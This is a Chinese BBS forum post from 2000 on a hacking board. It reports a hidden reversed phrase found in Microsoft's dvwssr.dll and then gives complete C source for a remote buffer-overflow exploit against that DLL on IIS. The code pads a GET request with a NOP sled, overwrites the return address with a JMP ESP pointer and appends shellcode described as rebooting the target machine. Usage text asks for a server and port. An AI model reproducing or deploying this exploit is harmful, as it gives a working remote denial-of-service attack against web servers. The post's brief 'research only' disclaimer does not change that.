PersonalCorpus 版 (精华区)
发信人: lofe ()感激生活(), 信区: Hacker
标 题: 发现微软公司隐藏的密码
发信站: 哈工大紫丁香 (Tue Sep 5 19:36:34 2000), 转信
【 在 cateye (猫眼) 的大作中提到: 】
: 通过察看dvwssr.dll,发现以下有趣的短语,可能就是微软公司隐藏的密码
: !seineew era sreenigne epacsteN
: 倒过来就是
: Netscape engineers are weenies!
: 希望有人能加以验证
据观察,dvwssr.dll是控制远程溢出的,可导致对方机器重启动。
有兴趣的可研究以下代码。
!!!警 告!!!
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
void bufflock(char *buff);
int main(int argc, char **argv)
{
char *server;
char buff1[]="GET /_vti_bin/_vti_aut/dvwssr.dll?";
char buff2[]=" HTTP/1.1\nHost: yourhost\n\n";
char sploit[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x66\xba\xf9\x0c\x33\xc0
\xef\x48\xef\xeb\xfe";
/* win9x 下的总线控制机器重启动代码 */
char buff[0x1128+0x100];
struct sockaddr_in s_in,s_in2;
struct hostent *he;
int i;
int fd;
u_short port;
SOCKET d_ip;
WSADATA wsaData;
int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
if(argc <2)
{
WSACleanup( );
fprintf(stderr,"\n nuke dvwssr.dll .\n copy by yuange 2000.4.1.
\n 坚决抵制华工改名! .");
fprintf(stderr, "\n usage: %s <server> [port] \n", argv[0]);
exit(1);
}
else server = argv[1];
d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("\n Can't get the ip of %s !\n",server);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port = atoi(argv[2]);
else port=80;
fd = socket(AF_INET, SOCK_STREAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);
s_in.sin_addr.s_addr = d_ip;
printf("\n nuke ip: %s port %d",inet_ntoa(s_in.sin_addr),htons(s_in.sin_port));
if(!connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in))){
memset(buff,0x90,0x1200);
strcpy(buff,buff1);
memset(buff+strlen(buff),0x90,1);
buff[strlen(buff1)+0x1000]=0x43;
buff[strlen(buff1)+0x1001]=0x65;
buff[strlen(buff1)+0x1002]=0xbd;
buff[strlen(buff1)+0x1003]=0x7f;
// 溢出点,JMP ESP 指令代码指针,需要根据版本调整
strcpy(buff+strlen(buff1)+0x1008,sploit);
bufflock(buff+strlen(buff1));
strcpy(buff+strlen(buff1)+0x1008+strlen(sploit),buff2);
i=strlen(buff);
fprintf(stderr,"\n send packet %d bytes.",i);
send(fd,buff,i,0);
i=recv(fd,buff,0x1100,0);
buff[i]=0;
if(i>0) fprintf(stderr,"\n recv packet %d bytes : %s",i,buff);
closesocket(fd);
}
else printf("\n connect err !\n");
closesocket(fd);
WSACleanup( );
return(0);
}
void bufflock(char *buff)
{
char key[]="Netscape engineers are weenies!";
int ii,jj;
u_short temp1,temp2;
for(ii=0,jj=0;ii<strlen(buff);++ii,++jj)
{
if(jj==strlen(key)) jj=0;
temp1=buff[ii];
temp2=key[jj];
if(temp1>=0x41&&temp1<=0x5a) temp1-=0x41;
else {
if(temp1>=0x61&&temp1<=0x7a) temp1-=0x47;
else {
if(temp1>=0x30&&temp1<=0x39) temp1+=4;
else temp1=0xff;
}
}
if(temp2>=0x41&&temp2<=0x5a) temp2-=0x41;
else {
if(temp2>=0x61&&temp2<=0x7a) temp2-=0x47;
else {
if(temp2>=0x30&&temp2<=0x39) temp2+=4;
else temp2=0xff;
}
}
if(temp1!=0xff&&temp2!=0xff)
{
temp1+=temp2;
if(temp1>=0x3e) temp1-=0x3e;
if(temp1<0x1a) temp1+=0x41;
else {
if(temp1<0x34) temp1+=0x47;
else temp1-=4;
}
buff[ii]=temp1;
}
}
}
--
※ 修改:.haojs 于 Sep 5 19:34:08 修改本文.[FROM: bbs.hit.edu.cn]
--
※ 转寄:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: bbs.hit.edu.cn]
--
☆ 来源:.哈工大紫丁香 bbs.hit.edu.cn.[FROM: haojs.bbs@bbs.whnet.]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:3.121毫秒